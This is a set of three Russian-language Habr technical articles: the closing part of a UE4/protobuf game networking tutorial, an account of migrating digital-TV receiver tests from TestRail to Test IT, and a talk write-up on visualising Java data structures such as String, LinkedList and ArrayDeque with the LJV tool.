void FTCPSocketListeningTh::Shutdown()
{
bThreadRun = false;
GLog->Log("FTCPSocketListeningTh::Shutdown()");
if (Runnable)
{
delete Runnable;
Runnable = nullptr;
}
}
```
Включим два новых потока в SpikyGameInstance:
```
...
#include "ServerStatusCheckingTh.h"
#include "TCPSocketListeningTh.h"
...
// запускаем при запуске программы
USpikyGameInstance::Init()
// запустить поток проверяющий доступность сервера
FServerStatusCheckingTh::RunServerChecking();
// запустить поток слушающий tcp сокет
FTCPSocketListeningTh::RunSocketListening();
// выключаем при закрытии программы
USpikyGameInstance::Shutdown()
// остановить проверку доступности сервера
FServerStatusCheckingTh::Shutdown();
// остановить поток слушающий tcp сокет
FTCPSocketListeningTh::Shutdown();
```
Реализуем encoder, поступает сообщение типа протобаф, в функции мы определяем нужно ли шифровать, его тип, оборачиваем в Wrapper, записываем в буфер длину и тело, затем отправляем по TCP или UDP каналу:
**MessageEncoder**
```
// Copyright (c) 2017, Vadim Petrov - MIT License
#include "Spiky_Client.h"
#include "MessageEncoder.h"
#include "SocketObject.h"
#include "Protobufs/MessageModels.pb.h"
#include
#include
bool UMessageEncoder::Send(google::protobuf::Message \* message, bool bCrypt, bool bTCP)
{
Wrapper wrapper;
// шифрованное или не шифрованное
if (bCrypt)
{
}
else
{
if (message->GetTypeName() == "Utility")
{
Utility \* mes = static\_cast(message);
wrapper.set\_allocated\_utility(mes);
}
}
size\_t size = wrapper.ByteSize() + 5; // include size, varint32 never takes more than 5 bytes
uint8\_t \* buffer = new uint8\_t[size];
google::protobuf::io::ArrayOutputStream arr(buffer, size);
google::protobuf::io::CodedOutputStream output(&arr);
// записать длину сообщения и сообщение в buffer
output.WriteVarint32(wrapper.ByteSize());
wrapper.SerializeToCodedStream(&output);
// освободить память выделенную для utility
if (wrapper.has\_utility())
{
wrapper.release\_utility();
}
int32 bytesSent = 0;
bool sentState = false;
if (bTCP)
{
//send by tcp
sentState = USocketObject::tcp\_socket->Send(buffer, output.ByteCount(), bytesSent);
}
else
{
//send by udp
sentState = USocketObject::udp\_socket->SendTo(buffer, output.ByteCount(), bytesSent, \*USocketObject::udp\_address);
}
delete[] buffer;
return sentState;
}
```
Запустим сервер и клиент, и проверим что сообщения и эхо доходят. Лог сервера:
`utility { alive: true }`
Лог клиента:
`Connect state (bIsConnection) = 1 | FServerStatusCheckingTh::CheckServer
Data Read! 5 | FTCPSocketListeningTh::Run`
### Заключение
Итак с необходимой подготовкой мы закончили. В итоге у нас получился клиент-сервер общающийся протобаф сообщениями, скомпилированные и подключенные в Android и Windows библиотеки, и начальная архитектура поверх которой дальше мы будем наращивать функционал. Напоследок оставлю список литературы который поможет лучше разобраться с Netty и архитектурой онлайн игр.
Спасибо что дочитали до этого места!
Norman Maurer «Netty in Action» — с помощью Netty можно быстро и просто написать любое клиент-серверное приложение, которое будет легко расширяться и масштабироваться.
Josh Glazer «Multiplayer Game Programming: Architecting Networked Games» — эта книга на реальных примерах рассказывает об особенностях разработки онлайн игр и основах построения надежной многопользовательской архитектуры.
Grenville Armitage «Networking and Online Games: Understanding and Engineering Multiplayer Internet Games» — довольно старая книга, но неплохая книга в которой объясняются принципы работы многопользовательских игр. | https://habr.com/ru/post/333788/ | null | ru | null |
# Тестирование приемников цифрового TV: как перенести тестовую модель с TestRail на новый инструмент
Меня зовут Иванов Александр, я тестирую приёмники цифрового телевидения в **GS Labs**.
В статье расскажу о том, как наша команда набралась смелости и **сменила неудобный и дорогой TestRail на новый инструмент** управления тестированием. Статья содержит описание этапов переезда тестов и автотестов, настройку нового инструмента, а также непосредственное описание процессов тестирования ТВ-приемников и их программного обеспечения.
Обо мне: за время работы в компании прошёл путь от тестировщика до ведущего инженера по тестированию. Время от времени выступаю с докладами на конференциях для тестировщиков.
GS Labs — разработчик комплексных решений для формирования экосистем создания и доставки цифровых продуктов на основе собственных технологий. Продуктами GS Labs пользуются более 12 млн. абонентов телеком операторов России, СНГ, странах Восточной и Юго-Восточной Азии.
Объект тестирования
-------------------
Телевидение появилось в начале XX века и с тех пор непрерывно развивается. С переходом от аналогового вещания к цифровому телевидение открыло для себя новые горизонты. Развитие микропроцессорной техники позволило создавать программно-аппаратные решения для приёма и просмотра цифрового ТВ-контента.
По среде передачи контента цифровое ТВ можно условно поделить на:
* Эфирное,
* Кабельное,
* Спутниковое,
* IP-телевидение.
Для приёма, а также для дальнейшего дешифрования контента может использоваться приёмник цифрового телевидения (set-top-box, STB). Для обработки цифрового контента приёмник использует собственное ПО. Сама приставка, а также её ПО являются объектом разработки и тестирования в GS Labs.
Рис. 1. Условная схема цифрового эфирного телевиденияТестирование приставок
----------------------
Как уже было сказано, современный ТВ приёмник имеет собственное ПО. Главное задачей ПО приёмника является расшифровка контента, передаваемого в зашифрованном виде. Для успешной расшифровки абонент должен приобрести у оператора подписку на соответствующий пакет телеканалов.
Рис. 2. Подключение приставки к телевизоруКроме самого контента оператор транслирует рекламу от сторонних клиентов, которая также должна корректно отображаться приёмником. Существует также дополнительная информационная поддержка абонентов, которая время от времени сообщает абонентам о профилактических работах на головной станции, обновлениях приемников и другую информацию в зависимости от нужд оператора.
Как и любое ПО, ПО приёмника тоже необходимо тестировать.
Описание тестового стенда
-------------------------
Для тестирования используется стенд, идентичный тому, что есть у оператора. Тестовые стенды включают головное оборудование, наиболее распространенное в России: Harmonic, Teleste Luminato, WISI, Ericsson, PBI.
Главным элементом стенда является **мультиплексор** (далее MUX). MUX представляет собой комбинированное цифровое устройство, обеспечивающее поочередную передачу на один выход нескольких входных сигналов. Он нужен для того, чтобы создавать “каналы по своему усмотрению”: добавлять к исходному контенту звуковые дорожки, телетекст, рекламу, а также шифровать средствами системы условного доступа (СУД), которая также заведена на MUX. И сервер СУД, и другие вспомогательные сервера, как правило, представляют из себя виртуальные машины.
Рис. 3. Мультиплексирование данных Тестовые данные можно условно поделить на:
* конфигурации (live emulation). Является эмуляцией ТВ-трансляции;
* потоки (stream). Записанная ТВ-трансляция.
Тестирование осуществляется как на потоках, так и на конфигурации. *Главный плюс конфигурации — всегда имеем дело с последней версией серверов*, однако требуется регулярное их обновление. Главный плюс потоков — простота использования, не требуется настройка серверов, всё уже настроено и может быть переиспользовано бесконечное число раз. Однако в этом случае невозможно использовать последнюю версию передающей части.
Приблизительная схема тестового стенда представлена на рисунке 4. При ручном тестировании приёмник подключаем к источнику сигнала (live emulation или stream), изображение передаётся с приёмника на телевизор, например по HDMI-кабелю. С помощью пульта ищем сигнал, переключаем каналы и проверяем функциональность ПО приставки.
Рис. 4. Пример ручного тестирования при тестировании на потокеТест-кейс будет зависеть от функциональности, которую тестируем. Разные команды отвечают за разные функции приёмника. Например, если это тестирование СУД, то кейс, проводимый на потоке, будет выглядеть как на таблице ниже.
Пример тест-кейсаАвтоматизация тестирования
--------------------------
Как и в любом тестировании ПО, у нас тоже стоит задача автоматизации наших тест кейсов.
Большинство плюсов и минусов автоматизации те же, что и для любой автоматизации, будь то клиент-серверные или мобильные приложения.
Плюсы:
* скорость
* обеспечение повторяемости
* снижение трудозатрат на тестирование
Минусы:
* стоимость
* эффект “пестицида”
* необходимость регулярной поддержки автотестов
Наши автотесты написаны на Python 3 с использованием библиотеки Behave. Для автоматизированного взаимодействия с приёмником используется API (вместо пульта при ручном тестировании), которое регулярно дорабатывается и улучшается.
Для хранения тестов за всё время было перепробовано много вариантов: **Excel, Test Log, TestRail.** Наиболее удачной системой на тот момент стал TestRail.
Во время выполнения автотестов, их результаты переносились в TMS через поле autofunction\_name, вернее через числовой префикс в начале имени (наследие более старых TMS систем). От использования поля name было решено отказаться, т.к. подразумевалось, что название может меняться.
Итого имеем следующие поля (на примере одного из автотестов):
| | |
| --- | --- |
| name | Broadcast infocas |
| autofunction\_name | 01\_01\_Broadcast infocas |
| automated | yes |
Как выглядит соответствующий автотест:
```
@short_term
Scenario: 01_01_Broadcast infocas
Given we switch to channel "12" on "server"
When we send "broadcast" infocas message "Broadcast Test Infocas" for test "01_01"
Then we "see" infocas message displayed for test "01_01"
```
Как видно из приведённого в качестве примера теста, он написан с использованием BDD. Каждая из строчек, написанных на “естественном” языке, подразумевает под собой некий код, написанный на языке программирования, а значения, взятые в кавычки, передаются в качестве параметров. Таким образом, для написания автотестов не требуется знание языков программирования, главное знать тестируемую функциональность. В целом, встречал неоднозначное отношение к использованию BDD: у подхода есть сторонники и противники. Я себя не причисляю ни к тем, ни к другим, однако отмечу, что в нашем случае подход себя оправдал. Ручные тестировщики принимают активное участие в написании автотестов, т.к. тестируемых функций довольно много и команде автоматизации практически невозможно разобраться в нюансах каждой из них.
По окончании тестирования формировался отчёт средствами TMS.
Смена инструмента для тестирования
----------------------------------
Сменить привычный TestRail, перейдя на другую систему управления тестированием, нас побудило простое человеческое “дорого”. В связи с этим мы провели обзор существующих на момент 2019 года систем. По совокупности нескольких факторов выбрали новую российскую разработку [Test IT.](https://testit.software/) Начав использовать новую TMS мы обнаружили и другие ее преимущества, например, автоматическое формирование отчетов в дашбордах.
Сам переезд занял около месяца. В 2021 году в [Test IT](https://testit.software/downloads/) уже все просто: импортируйте тестовую модель в .xls, соотносите любые необходимые поля и тестируйте на здоровье, но в конце 2019 года данная функциональность еще не была реализована.
В несколько этапов *мы выгрузили тесты в \*.xml и успешно импортировали в Test IT*. И тут возник вопрос, как переносить результаты автотестов — при ручном тестировании подобных вопросов не возникало, скорее, были вопросы, как генерировать отчёт и какие поля включать.
Как выяснилось позже, поле **autofunction name**, которое мы использовали, не может быть перенесено в Test IT для обозначения результатов, но может использоваться uuid автотеста. Решение нашли: зная uuid автотеста, можно получить его имя и использовать для переноса результатов. Числовой префикс переехал в название тест-кейса. Далее к каждому автоматизированному сценарию был прилинкован автотест с аналогичным названием. В итоге сами автотесты остались без изменений, за исключением вспомогательного модуля по переносу результатов в TMS Test IT.
В итоге имеем поля:
| | |
| --- | --- |
| name | 01\_01\_Broadcast infocas |
Сегодня все новые кейсы пишутся в самой TMS. Здесь удалось на практике использовать функциональность общих шагов и возможность указать результат каждого из них в тест кейсе. Это позволило ускорить написание кейсов и облегчить работу с ними для новых сотрудников.
Появилась возможность отследить историю прохождения тест-кейсов, на основании этого можно обнаруживать нестабильные автотесты и иметь представление о возможных багах в ПО приёмников цифрового ТВ.
По завершении тестирования генерируется отчёт, автоматически создаваемый в Test IT, фрагмент которого можно увидеть на рис.5.
Рис.5. Фрагмент отчёта, сгенерированного с помощью Test ITЗаключение
----------
Смена TMS системы всегда требует определённых трудозатрат. Очень важно, чтобы процесс проходил максимально легко и быстро, и не критично сказался на скорости выпуска релизов и качестве продуктов.
Ещё до начала переезда на новую систему команда разработчика провела несколько обучающих презентаций в нашем офисе, на которых мы заранее задали интересующие вопросы. Считаю, что подобные презентации помогли процессу переезда на новую TMS.
Бесспорно, нам самим тоже пришлось разобраться, изучить API, по необходимости писать в поддержку. Главный итог в том, что нам удалось без особых проблем переехать на новую TMS. Что касается улучшения текущих процессов — для понимания этого в полной мере ещё потребуется время. Но уже можно отметить: новый инструмент помогает быстрее и удобнее создавать тест-кейсы и позволяет наглядно отслеживать историю их выполнения. | https://habr.com/ru/post/566284/ | null | ru | null |
# LJV: Чему нас может научить визуализация структур данных в Java
Эта статья является пересказом [моего доклада](https://www.youtube.com/watch?v=eIUsCTsLXlM) на Java-конференции [SnowOne](https://snowone.ru/) 2021 года. LJV — проект, созданный в 2004 году как инструмент для преподавания языка Java студентам. Он позволяет визуализировать внутреннее устройство структур данных. В этом докладе я запускаю LJV на разных структурах (от `String` до `ConcurrentSkipListMap`) в разных версиях Java и разбираю, что там внутри, как оно менялось от версии к версии, и как это всё работает.
Откуда взялся LJV и зачем он нужен
----------------------------------
Моя основная работа – инженер на коммерческих проектах, но также я работаю в МФТИ, где раз в неделю читаю [лекции по Java](https://inponomarev.ru/corejava). Обычно на конференциях я рассказываю про опыт, связанный с коммерческими проектами, но этот доклад сделан исключительно на основе опыта, полученного в процессе преподавания.
Моя основная работа – инженерная, преподаю я как совместитель. Пару лет назад мне пришла идея сделать лекционный курс по Java. Что такое сделать лекционный курс? Это значит, что 14 недель подряд нужно готовить качественный полуторачасовой доклад. Неохота рисовать на доске, хочется переиспользовать из года в год одни и те же слайды. В процессе создания и редактирования слайдов хочется не выходить из своей IDE, то есть создавать слайды как код. Кроме того, мне, как ленивому программисту (а каждый программист ленив) хочется, чтобы некоторые слайды себя сами нарисовали – например, слайд с внутренним устройством какой-нибудь `HashMap`.
Насчёт того, как делать слайды как код, у меня есть [пост на Habr](https://habr.com/ru/post/456032/), где рассказано, какие технологии для этого можно применить. Но отдельно следует упомянуть такую вещь, как [Graphviz](https://graphviz.org/) – Graph Visualization Software. Я уверен, что очень многие знают его, но кто-то, возможно, слышит о нём впервые. Если зайти на [Википедию](https://en.wikipedia.org/wiki/Graphviz), то можно узнать, что это программа очень старая, первый релиз был до 1991 года. Но если зайти в [GitLab](https://gitlab.com/graphviz/graphviz), то мы увидим, что последний релиз был совсем недавно, и бурная деятельность в проекте продолжается. Это очень продвинутая и активно развивающаяся десятилетиями штука. Она состоит из двух частей. Первая – это язык DOT. Вторая – это софт для визуализации текстов на языке DOT.
Вот пример простого DOT-скрипта:
```
digraph G{
A->B->C;
B->D->A;
C->A;
}
```
Мы определили digraph, то есть directed graph, направленный граф, определили ноды, связи между ними, сохранили этот скрипт как текстовый файл. Теперь, если выполнить в консоли команду
```
dot -Tpng myfile.dot > myfile.png
```
то мы получим вот такую красивую png-картинку:
Смысл Graphviz в том, что вы задаете ноды и связи в графе, а он сам красиво их располагает на плоскости и отрисовывает. Конечно, как всегда, дьявол кроется в деталях. DOT – система достаточно продвинутая, на ней можно рисовать интересные вещи, но для того, чтобы достичь желаемых результатов, потребуется некоторое изучение этой технологии. Однако именно на языке DOT я люблю рисовать диаграммы, когда мне надо делать слайды как код.
И вот, начиная создавать курс лекций по Java, я стал гуглить в поисках какого-нибудь механизма, который внутреннее устройство стандартных объектов Java автоматически отрисовывал бы в языке DOT. И я нашел. Я нашел [очень старую страницу](https://www.cs.auckland.ac.nz/~j-hamer/LJV.html) Computer Science Department Оклендского университета. Человек по имени [John Hamer](https://www.gla.ac.uk/schools/computing/staff/index.html/staffcontact/person/4cdcebe68a94) в 2004 году сделал утилиту, которую назвал LJV. Хотя сейчас это трудно себе представить, но в 2004 году ещё не было ни GitHub, ни Maven. Поэтому все, что сделал Джон – по GPL лицензии выложил файл LJV.java на университетской странице.
Я взял этот файл, и, к моему удивлению, эта штука оказалась рабочей. Она работает на любых версиях Java, потому что она очень проста по идее: она использует Reflection API для того, чтобы посмотреть, из чего объект состоит, и довольно прямолинейную трансляцию в DOT для того, чтобы это визуализировать. Я построил какие-то иллюстрации для своих слайдов. Затем осенью 2020 года я предложил своим студентам, Нурасу Ногаеву и Илье Селиванову, в качестве семестрового задания превратить этот проект в современный, то есть выложить на GitHub, обложить тестами, отрефакторить. Вот какой проект получился: <https://github.com/atp-mipt/ljv> (кстати, приходите, поставьте туда звезду). О том, как им пользоваться, можно прочитать в [документации](https://atp-mipt.github.io/ljv/) и README.
Цель моего доклада – применить этот инструмент к стандартным классам и стандартной библиотеке Java и посмотреть, какие штуки интересные мы можем там увидеть.
Простой пример использования LJV
--------------------------------
Пользоваться LJV довольно просто. Сначала мы создаем объект с типом LJV и при необходимости конфигурируем его дополнительными опциями:
```
LJV ljv = new LJV()
.setQualifyNestedClassNames(true)
.setIgnoreNullValuedFields(true)
.addFieldAttribute("sourceSpliterator", "constraint=false");
```
На втором шаге мы создаем тот объект, который хотим визуализировать. Например, мы хотим посмотреть, как устроен объект `Stream`, построенный на иммутабельном списке, с map и filter:
```
Stream o =
List.of(1, 2, 3)
.stream()
.map(x -> x \* x)
.filter(x -> x % 2 == 0);
```
Построив этот объект, мы просто передаем его в метод `LJV.drawGraph`. На выходе у нас получается строка, которая из себя представляет DOT-скрипт:
```
String dot = ljv.drawGraph(o);
```
И дальше мы можем с этим делать что угодно. Если программа dot стоит на локальной машине, можно локально сгенерировать и получить png или svg. Но есть замечательный сайт, называемый [Graphviz Online](https://dreampuf.github.io/GraphvizOnline), который тот же самый dot-скрипт выполняет у вас в браузере, и может прямо в браузере открыть визуализацию скрипта, если его в формате URLEncoded передать в URL страницы.
```
//use GraphViz online
String encoded = URLEncoder.encode(dot, "UTF8")
.replaceAll("\\+", "%20");
Desktop.getDesktop().browse(
new URI("https://dreampuf.github.io/GraphvizOnline/#"
+ encoded));
```
При запуске этой программы откроется браузер, и мы увидим такую картинку:
Что это за нотация?
Прямоугольники – это объекты. Три выложенных в ряд квадратика в правом нижнем углу – это массив. Т. к. источником данных у нас является иммутабельный список, его объект отображён как экземпляр класса `ListN`, в основе которого массив из трех элементов – боксированных `Integer`.
Примитивные поля каждого объекта перечисляются в правой части прямоугольника. Примитивные поля – это либо поля примитивных типов (таких как `int`, `boolean` и т. п.), либо такие, которые мы настройкой LJV считаем примитивными, чтобы излишне не усложнять граф объектов.
Поля, являющиеся ссылками на другие объекты (например, `previousStage`, `nextStage`) показаны именованной стрелкой.
Так получается граф объектов: есть иммутабельная коллекция `ListN`, на неё ссылается `RandomAccessSpliterator`, над ним три `Stage` нашего `Stream`, и еще в стороны торчат лямбды для `map` и для `filter` – но средствами Reflection API невозможно узнать, что находится внутри лямбд.
Визуализация строк и боксированных примитивов
---------------------------------------------
Теперь мы попробуем применить этот инструмент к самым разным классам и объектам из стандартной библиотеки. Сначала начнем с простого. Какой самый распространенный класс в Java? Конечно, `String`. Выполним `new LJV.drawGraph ("hello")`, и посмотрим, что он нарисует.
Результат, который мы увидим, будет зависеть от версии Java, которая у вас стоит.
На сегодняшний день устройство строк менялось в Java три раза. До 6-й версии в начале 7-й у строки было три поля – `offset`, `count` и `hash`. Потом убрали поля `offset` и `count`. Потом стали появляться новые поля.
В общем, вся эволюция string немножко напоминает одну известную картинку:
Давайте быстро разберёмся, почему так происходило.
Если в Java 6 мы возьмем длинную строчку и выполним `split(...)`, то картинка, которую мы увидим, будет вот такая:
Исходная строка превратилась в массив строк, но при этом каждая строка из этого массива переиспользует один большой длинный буфер, а поля `offset` и `count` указывают на разные сегменты этого буфера. Вроде бы замечательная идея, потому что в этой ситуации метод `split` работает быстро, метод `substring` работает тоже быстро, мы не тратим время на пересоздание этих буферов.
Однако более часто встречается иная ситуация. Если мы хотим просто выделить из длинной строки первое слово, допустим, «The» при помощи `substring`, и в Java 6 это визуализируем, то мы увидим такую картинку:
То есть, обратите внимание: эта строчка, если её распечатать в консоли, выведет просто «The». Но в памяти она держит ссылку на длинный буфер. Если весь буфер нам больше не нужен, а нужен только этот сегмент «The», то, если мы специально не постараемся, от остальных символов мы не избавимся никак. Это утечка памяти, и поэтому, начиная с определенного апдейта Java 7, ситуация поменялась: от `offset` решили избавиться, и все стало гораздо проще. Теперь, если мы на Java 8 сделаем `split`, то увидим, что каждая строчка порождает свой собственный внутренний буфер (что привело к замедлению работы `split`), но пример с `substring` уже выглядит хорошо:
Теперь строка, содержащая три символа, занимает в памяти всего лишь три `char`, а большой буфер, если он не нужен, можно отправить в garbage collection.
История двигалась дальше, и в Java 9, как мы знаем, появились compacted-строки. До этого момента буфер `String` был массивом `char[]`. Char – это 16-битовое значение. Когда выбирали примитивные типы для Java в 90-е годы прошлого столетия, считалось, что, наверное, 65 тысяч значений хватит, чтобы каждый символ Unicode в `char` уместить.
Потом оказалось, что это не так, и `char`, строго говоря, это уже не всегда целый символ. А потом, с другой стороны, оказалось, что большое количество строк, с которыми работают программы на Java, состоят из латинского алфавита и каких-то базовых знаков препинания. Короче говоря, они умещаются в байт, и поэтому, используя 2 байта на один `char`, мы впустую тратим пространство.
Поэтому, начиная с Java 9, появились compacted строки. Теперь буфер строки – не `char[]`, а `byte[]`, и поэтому в случае со строкой “hello”, содержащей только латинские буквы, значение поля `coder = 0`, и каждый символ превратился в один байт. Хотя элементов в массиве столько же, но памяти он занимает в два раза меньше, потому что это не `char[]`, а `byte[]`. В случае со строчкой «привет» мы, по крайней мере, не проиграли в длине буфера, потому что на каждый символ приходится по два байта, и `coder = 1`.
Но это еще не все. Последнее на сегодня усовершенствование класса `String` произошло в Java 13, и оно было связано вот с чем.
Так получилось, что алгоритм вычисления хэшей для Java строки допускает нулевой хэш для непустой строки. Значение переменной hash призвано запоминать уже вычисленный hash, но если оно равно нулю, то система считает, что мы hash еще не посчитали, и будет его пересчитывать всякий раз. Из-за этого непустые строчки, в которых нулевой hash (к примеру, `"f5a5a608"`), будут себя аномально плохо вести с точки зрения перформанса внутри хэш-таблиц.
```
String[] s = new String[]{"f5a5a608", "abc"};
System.out.println(s[0].hashCode()); //0
System.out.println(s[1].hashCode()); //96354
```
Поэтому, начиная с Java 13, появилось специальное поле `hashIsZero`, позволяющее различить такие случаи. Теперь, если наша строка действительно имеет нулевой хэш, она будет так же быстро обрабатываться, как и все остальные. Заметим, что на общем объёме памяти, занимаемой строками, это нововведение никак не сказалось, т. к. за счёт выравнивания полей объем памяти, занимаемый объектом String, не изменился:
Тут можно поспорить, нужно это было делать или нет: ведь строки с нулевым хэшем должны встречаться очень редко, статистически – одна на 4 миллиарда. Но, по крайней мере, ушла возможность с помощью злонамеренных действий заполнить хэш-таблицу специально строками с нулевым хэшем с целью устроить DoS атаку. Ведь хэш-функция для Java-строк не является криптографической и можно очень легко сгенерировать много строк с заранее заданным хэшем!
Есть еще интересный момент. Хотя начиная с Java 7, система больше не занимается попытками частично переиспользовать длинные буферы, в целом не запрещено и даже имеет смысл переиспользовать буфер строки целиком между двумя равными по `equals` строками. Посмотрим на следующий пример: в нём есть «hello» и массив строчек, каждый элемент которого сконструирован по-разному, но при этом с точки зрения equals равен исходному «hello»:
```
String x = "Hello";
new String[]{x,
new String(x),
new String(x.toCharArray()),
x + "",
"" + x,
x.concat(""),
"".concat(x)}
```
Как это будет выглядеть с точки зрения размещения объектов в памяти?
На Java до версии 15 мы увидим такую картину:
Нулевой элемент массива – сама исходная строчка `x`.
Понятно, что оператор `new` должен порождать новый объект. Но если мы передаем какую-то строчку в параметр конструктора `String`, то Java переиспользует внутренний буфер.
Во втором элементе мы сначала перевели строку в `char[]`, и понятно, что тут связь потерялась с исходным буфером, поэтому ничего удивительного, что второй случай порождает нам новый `String` с новым буфером.
А вот дальше происходит что-то интересное. Случай конкатенации с пустой строкой – тривиальный, но тем не менее, нам спецификация языка говорит, что конкатенация должна порождать новый объект. Однако заметим, что до 15-й Java при этом зачем-то и буфер пересоздается заново!
У класса `String` есть еще метод `concat(..)`. В методе `concat(..)`, если посмотреть его исходный код, есть микрооптимизация: если в качестве аргумента приходит пустая строка, то возвращается тот же самый объект, на котором метод `concat(..)` вызывался. Это – пятый элемент массива.
Выглядит это не очень здорово, но, благодаря усилиям Тагира Валеева, начиная с Java 16 картина сильно исправилась. Как мы видим, теперь во всех этих случаях происходит переиспользование буфера для одинаковой строки, в том числе при конкатенации с пустой строкой. Для элемента с индексом 5 микрооптимизация для concat сохраняется, ну и в случае №2, когда мы теряем всякую связь с исходным буфером – ничего не поделаешь, тут, конечно, будет новый объект и новый его буфер:
Коротко скажу про интернирование. Наверное, лучше, чтобы много людей не знали про метод `intern()`. Но так уж вышло, что люди любят разбираться в низкоуровневых API и знают про него. Если мы возьмем все те же самые выражения, вызовем на них метод `intern()` и запустим LJV, LJV покажет, что все это схлопнулось в один-единственный объект, который был дедуплицирован и положен во внутренний пул строк:
Но если вы не пишете стандартную библиотеку Java, то метод `intern()` не для вас. Почему? Можете посмотреть соответствующий доклад Алексея Шипилёва на эту тему – прямо сейчас я дам ссылки.
Давайте сделаем промежуточные выводы:
1. Переходите на новые версии Java, если это, конечно, возможно. Строки становятся все эффективнее и эффективнее, оптимизации видны невооруженным глазом.
2. Помним про дедупликацию строк и при наличии показаний со стороны перформанс-анализа имеет смысл задуматься о ней, чтобы сделать ее, например, на HashSet-е, но только не через метод `intern()`.
Почему так? Про внутреннее устройство строк и их эволюцию довольно много было докладов. Это и доклады Алексея Шипилева ([Катехизис java.lang.String (JPoint 2015, 20.04.2015)](https://jugspeakers.online/ru/talk/1572.html), [The Lord of the Strings: Two Scours (JBreak 2016, 19.03.2016)](https://jugspeakers.online/ru/talk/1648.html)), доклады Тагира Валеева ([Ещё немного маленьких оптимизаций (JPoint 2020, 29.06.2020)](https://jugspeakers.online/ru/talk/2254.html)), и был доклад Сергея Цыпанова на прошлом JPoint ([Ах, эти строки (JPoint 2020, 29.06.2020)](https://jugspeakers.online/ru/talk/2239.html)), тоже посвященный внутренностям строк и каким-то перформанс-тонкостями, с этим связанными. Там вы можете услышать всю теоретическую часть и все объяснения, почему сделано так, а не иначе.
Коротко хотелось бы посмотреть на родственников строк – boxed primitives. Они тоже иммутабельные, и для них также существует проблема дедупликации. Вопрос “сколько разных объектов создастся при выполнении такого кода?” можно задавать студентам для проверки того, насколько хорошо они уяснили материал, но я думаю, что у опытного Java-разработчика здесь вопросов быть не должно:
```
new Integer[]{
42,
42,
Integer.valueOf(42),
new Integer(42),
-4242,
-4242
}
```
Оператор `new`, конечно же, всегда порождает новый объект. Особого смысла это не имеет, потому что у нас есть механизм дедупликации, и начиная с Java 9 все конструкторы `new Integer(..)`, `new Character(..)` и т. п. помечены как `@Deprecated`. Вместо этого надо использовать – если, конечно, не получается использовать автобоксинг – статический метод valueOf, имеющийся у всех примитивов. Этот метод дедуплицирует объекты в диапазоне от -128 до 127.
Глядя на эту картинку, мы можем сделать следующие выводы:
1. О дедупликации boxed primitives следует помнить, в частности, создавая их через метод `valueOf`, а не конструкторами.
2. При наличии показаний со стороны перформанс-анализа можно воспользоваться специальными библиотеками коллекций, которые работают напрямую с примитивами, не боксируя их (например, [fastutil](https://github.com/vigna/fastutil)).
3. Мы все ждем проект Valhalla в той его части, которая связана с generic specialization, когда мы сможем наконец написать `new ArrayList()` и забыть про проблемы боксинга. Но, кажется, это произойдет еще не очень скоро.
Списки и очереди
----------------
Давайте теперь посмотрим что-то более интересное и сложное – на одномерные, линейные структуры данных, к которым относятся списки и очереди.
### `LinkedList`
На любом курсе по алгоритмам и структурам данных изучается связный список. В Java он реализован в виде класса `LinkedList`.
Подготовим LJV для того, чтобы он красиво нарисовал `LinkedList`:
```
LJV ljv = new LJV().setDirection(Direction.LR)
.addFieldAttribute("last", "constraint=false")
.addFieldAttribute("prev", "constraint=false")
.setTreatAsPrimitive(Integer.class);
```
Затем возьмём LinkedList, положим туда элементы и получим вот такую картинку:
```
List list = new LinkedList<>();
list.add(1); list.add(2); list.add(3); list.add(4);
visualize(ljv, list);
```
Действительно, это связный список, который теоретически обладает рядом полезных свойств. Например, в ситуации, когда мы не знаем заранее размера списка, мы его легко, со скоростью  можем увеличить, а также мы можем быстро, со скоростью  в середину вставлять и из середины вынимать элементы.
Теоретических преимуществ у этой структуры данных много, но на практике в Java всё обстоит не так. Я люблю показывать своим студентам этот твит Джошуа Блоха:
В жизни Java-разработчиков `LinkedList` не пригождается. Дело в том, что в стандартной библиотеке есть структуры данных, более эффективные, чем `LinkedList` для любого его применения.
### `ArrayDeque`
Для начала рассмотрим очередь. Кажется, что `LinkedList` хорош тем, что мы, можем добавлять в него элементы с одной стороны, а с другой стороны – “подъедать”. Но недостатки `LinkedList` тоже понятны: у него большой overhead по памяти. Ведь каждая из нод связного списка, на самом деле, есть лишний объект, который в себе несёт ссылку еще на какой-то объект. В нашем случае используется `Integer`, который мы на нашей диаграмме показываем как примитив только чтобы не усложнять диаграмму.
Мы можем столкнуться с фрагментацией памяти: как ноды, так и связанные с ними объекты могут быть “разбросаны” по памяти, и при проходе по `LinkedList` мы не сможем получить преимущества процессорного кэша. Эта проблема отсутствует в реализациях списка, основанных на массивах, например, `ArrayList`. Но `ArrayList` – это совсем тривиальная структура данных, это я даже не буду показывать.
А вот как может быть устроена очередь, основанная на массиве? Чтобы понять, как она работает, мы используем метод `highlightChangingArrayElements()` в LJV, который нам подсветит желтым меняющееся состояние в массиве.
```
LJV ljv = new LJV()
.setTreatAsPrimitive(Integer.class)
.highlightChangingArrayElements();
Deque arrayDeque = new ArrayDeque<>(4);
arrayDeque.add(1); arrayDeque.add(2); arrayDeque.add(3);
visualize(ljv, arrayDeque);
```
ArrayDeque по своему внутреннему устройству похож на `ArrayList`, `String`, и множество других Java-классов, поскольку это всего-навсего лишь массив, которому приделан заголовочный объект. В этом объекте хранятся два индекса-указателя: на “голову” и на “хвост”. Вот мы положили туда три элемента:
```
//note that this sets initial capacity to 5!
Deque arrayDeque = new ArrayDeque<>(4);
arrayDeque.add(1); arrayDeque.add(2); arrayDeque.add(3);
visualize(ljv, arrayDeque);
```
Вот мы вычитали первые два, и мы видим, что они заменились null-ами с начала, а тройка никуда не переместилась.
```
arrayDeque.poll(); //returns 1
arrayDeque.poll(); //returns 2
```
Потом мы добавили еще три элемента, дошли до конца буфера. Но в начале буфера у нас есть свободное пространство, поэтому закольцевались и пишем с начала.
```
arrayDeque.add(4); arrayDeque.add(5); arrayDeque.add(6);
visualize(ljv, arrayDeque);
```
И так далее. То есть получается у нас закольцованный буфер, и если мы примерно с одинаковой скоростью пишем и читаем, и буфер нам не надо изменять в размерах, то ясно, что это будет работать очень эффективно и гораздо эффективней, чем `LinkedList`.
### `PriorityQueue`
Другой очень интересный класс – это `PriorityQueue`, т. е. очередь с приоритетами.
Если бы мы спросили себя: “как бы мы реализовали очередь с приоритетами?”, ничего об этом заранее не зная, то кажется, первое, что пришло бы на ум, это связный список. Мы его отсортируем. Потом, когда нам надо будет вынимать, мы будем вынимать всегда из головы за время , а когда надо будет вставлять, мы будем вставлять куда-то в серединку, так, чтобы новое значение всегда ставилось на место сортировки, т. е. вставка имела бы сложность .
Но на самом деле есть решение иное, без применения связного списка.
